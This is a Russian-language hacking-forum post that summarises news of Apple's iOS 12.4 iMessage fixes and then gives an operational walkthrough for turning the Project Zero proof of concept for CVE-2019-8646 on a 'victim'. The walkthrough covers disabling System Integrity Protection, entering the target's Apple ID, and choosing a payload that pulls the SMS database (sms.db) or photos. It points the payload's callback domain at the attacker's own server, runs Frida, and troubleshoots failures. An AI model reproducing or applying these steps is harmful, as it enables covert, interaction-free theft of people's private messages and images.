Эксплуатируем CVE 2019-8646

  • Добро пожаловать на наш форум Гость !
    Чтобы пользоваться всеми его возможностями необходимо Зарегистрироваться
    Без регистрации Вы сможете просматривать только определенные темы
    Зарегистрироваться здесь, чтобы воспользоваться всеми функциями форума.

fl1t1ng0

vot eto ya anonimus
75
53
48
BRUTE COIN
0.0
Telegram
Недавно разработчики Apple обновили iOS до , исправив в мобильной ОС сразу несколько уязвимостей. Одна из этих проблем, связанная с iMessage, позволяла удаленно и без участия пользователя читать файлы на iOS-устройствах.

Уязвимость получила идентификатор и была обнаружена еще в мае 2019 года специалисткой команды Google Project Zero Натали Сильванович (Natalie Silvanovich). PoC-эксплоит, уже продемонстрированный исследовательницей, работает только для устройств под управлением iOS 12 или более новых версий, и описан как «простая демонстрация достижимости класса в Springboard. Реальные последствия [эксплуатации] бага, скорее всего, будут куда серьезнее».


В багтрекере Google Project Zero Сильванович описывает и объясняет, что ошибка была связана с работой _NSDataFileBackedFuture.

Нужно сказать, что это не единственная серьезная уязвимость, исправленная в составе iOS 12.4. Так, Сильванович и ее коллега из Google Project Zero Сэмюэл Гросс (Samuel Groß) обнаружили еще две уязвимости, связанные с iMessage, помимо вышеописанной.

Первый баг ( ) представлял собой уязвимость во фреймворке Core Data и позволял спровоцировать неожиданное завершение работы приложения или даже добиться выполнения произвольного кода на устройствах iPhone 5s или старше, iPad Air, iPod touch 6-го поколения или старше.

Второй баг ( ) тоже был связан с Core Data и представлял собой use after free уязвимость. Это проблема та же позволяла выполнить произвольный код на iPhone 5s или старше, iPad Air, iPod touch 6-го поколения или старше.


Эксплуатируем CVE 2019-8646
Сегодня я попытаюсь вам рассказать, как воспользоваться POC’ом от Natalie Silvanovich из команды Google Project Zero. Что можно сделать с помощью этого POC’a: в описание к CVE указывается, что у нас есть возможность получить доступ к содержимому смс-сообщений (речь про /var/mobile/Library/SMS/sms.db) и изображениям из фотогалереи устройства.

Краткая техническая информация по уязвимости:

  • На каких версиях работает: 12.0.X*-12.3
  • Идентификатор CVE 2019-8646
  • ( Ютуб )
Итак, нам понадобится:

  • Виртуальная машина на базе macOS версии Mojave (10.14);
  • Смартфон Apple iPhone на котором будем тестировать эксп;
Инструкция:

1. Подготовка виртуальной машины.
После запуска ОС зажимаем клавиши Command+R/Windows+R и входим в консоль, затем прописываем "csrutil disable", и, тем самым отключаем "System Integrity Protection", который не позволит нам поставить hook на сервис с именем "imagent", который отвечает за работу приложений: FaceTime и iMessages.

2. Подготовка сплойта
Перезагружаем нашу виртуалку, логинимся и скачиваем свежий POC

Архив "messageleak.zip" должен иметь следующее содержимое:

MD5 (injectMessage.js) = d922afbf15661ce700f7cbf2cc660657
MD5 (myserver.py) = 3c78673f4953a078c75ce9ced903595d
MD5 (obj_db) = f96f64ac54c4e2d667d2b0afff25dff9
MD5 (obj_imgdump) = fdc01461eb9f3b09781550e679710adb
MD5 (sendMessage.applescript) = 074dc419a5383ebb3bb3d67f83798e0a
MD5 (sendMessage.py) = f63b8869e818fdbccc8abab6cdba5a57
MD5 (uni.py) = 754ad573e3aeff1edab103e1fe5175c0

2.1. Правка "sendMessage.py":

В первую очередь, необходимо поправить скрипт "sendMessage.py", т.к. именно он содержит переменную "receiver" – Apple ID жертвы.

Вставляем почту или номер телефона вместо «TARGET»:

Меняем содержимое переменной "receiver":

receiver = "TARGET"

на:

receiver = “[email protected]"

2.2. Правка "injectMessage.js"

Тут надо понять, что мы будем забирать с устройства жертвы. Natalie Silvanovich рекомендует использовать нагрузку "obj_db" для получения SQLite-баз, а "obj_image" для "binary files (images)". В нашем случаем мы будем пытаться забрать базу смс-сообщений – нагрузка "obj_db".

Меняем содержимое переменной "d":

var d = ObjC.classes.NSData.dataWithContentsOfFile_("FULL PATH HERE/obj");

на

var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/admin/Desktop/obj_db");

В нагрузке "obj_db" необходимо заменить домен "natashenka.party" на адрес к ваше серверу, который будет получать ответ с результатами работы экспа.

3. Настройка Frida
Тут без особенностей, скачиваем с сайта " " бинарь с именем "frida-server-12.6.12-macos-x86_64.xz" и запускаем:

MD5 (frida-server-12.6.12-macos-x86_64.xz) = b58f4c7ed17c23a88e9a46620645f1d4

Команды:

$ chmod +x frida-server-12.6.12-macos-x86_64
$ ./frida-server-12.6.12-macos-x86_64 -l 0.0.0.0 -v

Ставим frida-tools:

$ sudo easy_install pip
$ pip install frida-tools --user

4. Запуск сплойта

python sendMessage.py

В ходе работы скрипта, будут запросы на права доступа к приложению Message - надо все "разрешить". Ждем отстука на сервере и наслаждаемся результатом.

Возможные ошибки.
1. Отсутствия контакта жертвы в адресной книги macOS:

sendMessage.applescript:219:252: execution error: Получена ошибка от «Messages»: Не удается получить buddy id "PlaceholderAccount:target". (-0000)

Решение: необходимо добавить контакт жертвы в адресную книгу.

2. Смарфон перезагружается после открытия сообщения - неверный путь к файлу

3. Полученный файл битый или маленький кусок от файла - сплойт очень нестабильный, что имеем :)